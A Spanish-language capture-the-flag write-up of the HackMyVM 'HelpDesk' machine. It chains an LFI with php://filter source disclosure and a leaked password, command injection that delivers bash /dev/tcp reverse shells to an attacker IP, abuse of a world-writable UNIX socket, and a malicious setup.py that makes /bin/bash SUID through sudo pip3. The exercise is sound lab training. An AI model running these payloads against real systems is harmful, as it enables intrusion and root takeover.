cd ~/blog

~/writeups/hmv/137-helpdesk.md

137 - HelpDesk

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Local File Inclusion (LFI)PHP Filter Source DisclosureOS Command Injection mediante World-Writable UNIX SocketSudo-Allowed Program Abuse mediante pip3 install
hackmyvm.eu/machines/machine.php?vm=HelpDesk

~2 min de lectura


Enumeración y lectura del código fuente

Enumeramos puertos:

❯ nmap -sCV -p 22,80 -oN 02-targeted.txt 172.24.125.228
...
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.13
80/tcp open  http    Apache httpd
|_http-title: HelpDesk Ticket System
...

Enumeramos directorios con gobuster (login.php, panel.php, ticket.php, debug.php):

❯ gobuster dir -u 'http://172.24.125.228' -w directory-list-2.3-medium.txt -x php,txt,html,sql,xml,zip,sh,db -r
login.php   index.php   ticket.php   panel.php   debug.php   helpdesk

Fuzzeando parámetros de ticket.php damos con url, vulnerable a LFI:

❯ ffuf -u 'http://172.24.125.228/ticket.php?FUZZ=../../../../../../etc/passwd' -w directory-list-2.3-medium.txt -fs 204
...
url                     [Status: 200, ...]
...

❯ curl 'http://172.24.125.228/ticket.php?url=../../../../../../etc/passwd'
...
mrmidnight:x:1000:1000:MrMidnight:/home/mrmidnight:/bin/bash
helpdesk:x:1001:1001::/home/helpdesk:/bin/bash
...

El LFI también acepta el wrapper php://filter. Aplicamos convert.base64-encode para obtener el código fuente de login.php sin que PHP lo ejecute; después decodificamos la respuesta y encontramos el usuario junto con la contraseña indicada en el comentario:

❯ curl 'http://172.24.125.228/ticket.php?url=php://filter/convert.base64-encode/resource=login.php'
...
❯ echo 'PD9waHAK...' | base64 -d
...
$stored_user = 'helpdesk';
// SHA-512 hash for password: ticketmaster
...

Acceso inicial desde el panel de diagnóstico

Tras autenticarnos con helpdesk:ticketmaster, el panel acepta un comando de diagnóstico y lo entrega al shell del sistema. Esta OS Command Injection permite abrir una reverse shell; la conexión recibida muestra que el proceso web se ejecuta como www-data:

Enter system command: bash -c 'bash -i >& /dev/tcp/172.24.125.35/1234 0>&1'

❯ ncat -nlvp 1234
Ncat: Connection from 172.24.125.228:44666.
www-data@helpdesk:/var/www/html$

Cambio de identidad mediante un socket UNIX

En /opt/helpdesk-socket, serve.sh crea un socket UNIX con modo 777. Cualquier usuario local puede escribir en él. Por cada conexión, socat inicia handler.sh bajo la identidad del servicio; el script lee una línea y la ejecuta con /bin/bash -c. El problema no es el socket por sí solo, sino combinar permisos de escritura globales con un consumidor que ejecuta la entrada como helpdesk:

www-data@helpdesk:/opt/helpdesk-socket$ cat serve.sh
/usr/bin/socat -d -d UNIX-LISTEN:$SOCKET,fork,mode=777 EXEC:/opt/helpdesk-socket/handler.sh

www-data@helpdesk:/opt/helpdesk-socket$ cat handler.sh
#!/bin/bash
read cmd
echo "[HelpDesk Automation] Executing: $cmd"
/bin/bash -c "$cmd"

Primero enviamos id para confirmar la identidad del consumidor. Después entregamos una reverse shell por el mismo canal para obtener una sesión interactiva como helpdesk:

www-data@helpdesk:/opt/helpdesk-socket$ echo id | socat - UNIX-CONNECT:/opt/helpdesk-socket/helpdesk.sock
[HelpDesk Automation] Executing: id
uid=1001(helpdesk) gid=1001(helpdesk) groups=1001(helpdesk)
www-data@helpdesk:/opt/helpdesk-socket$ echo 'bash -i >& /dev/tcp/172.24.125.35/4321 0>&1' | socat - UNIX-CONNECT:/opt/helpdesk-socket/helpdesk.sock

❯ ncat -nlvp 4321
Ncat: Connection from 172.24.125.228:56230.
helpdesk@helpdesk:/$

Escalada de privilegios mediante pip3

Después de obtener la primera flag, revisamos sudo -l:

helpdesk@helpdesk:~$ sudo -l
...
User helpdesk may run the following commands on helpdesk:
    (ALL) NOPASSWD: /usr/bin/pip3 install --break-system-packages *

La regla permite instalar como root cualquier paquete local mediante pip3. Una instalación puede ejecutar la lógica definida por su paquete, por lo que este abuso de un programa autorizado por sudo cruza el límite entre controlar un archivo de instalación y ejecutar código como root. Creamos un paquete cuya clase de instalación añade SUID a Bash:

❯ cat setup.py
from setuptools import setup
from setuptools.command.install import install
import os
class CustomInstall(install):
    def run(self):
        os.system("chmod +s /bin/bash")
        install.run(self)
setup(name="package", version="0.1", packages=["package"], cmdclass={'install': CustomInstall})
❯ python setup.py sdist bdist_wheel
helpdesk@helpdesk:/tmp$ wget http://172.24.125.35:8000/package-0.1.tar.gz
helpdesk@helpdesk:/tmp$ sudo /usr/bin/pip3 install --break-system-packages package-0.1.tar.gz

helpdesk@helpdesk:/tmp$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1446024 Mar 31  2024 /bin/bash

helpdesk@helpdesk:/tmp$ bash -p
bash-5.2# whoami
root

bash -p conserva el UID efectivo aportado por SUID y whoami confirma la identidad root.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados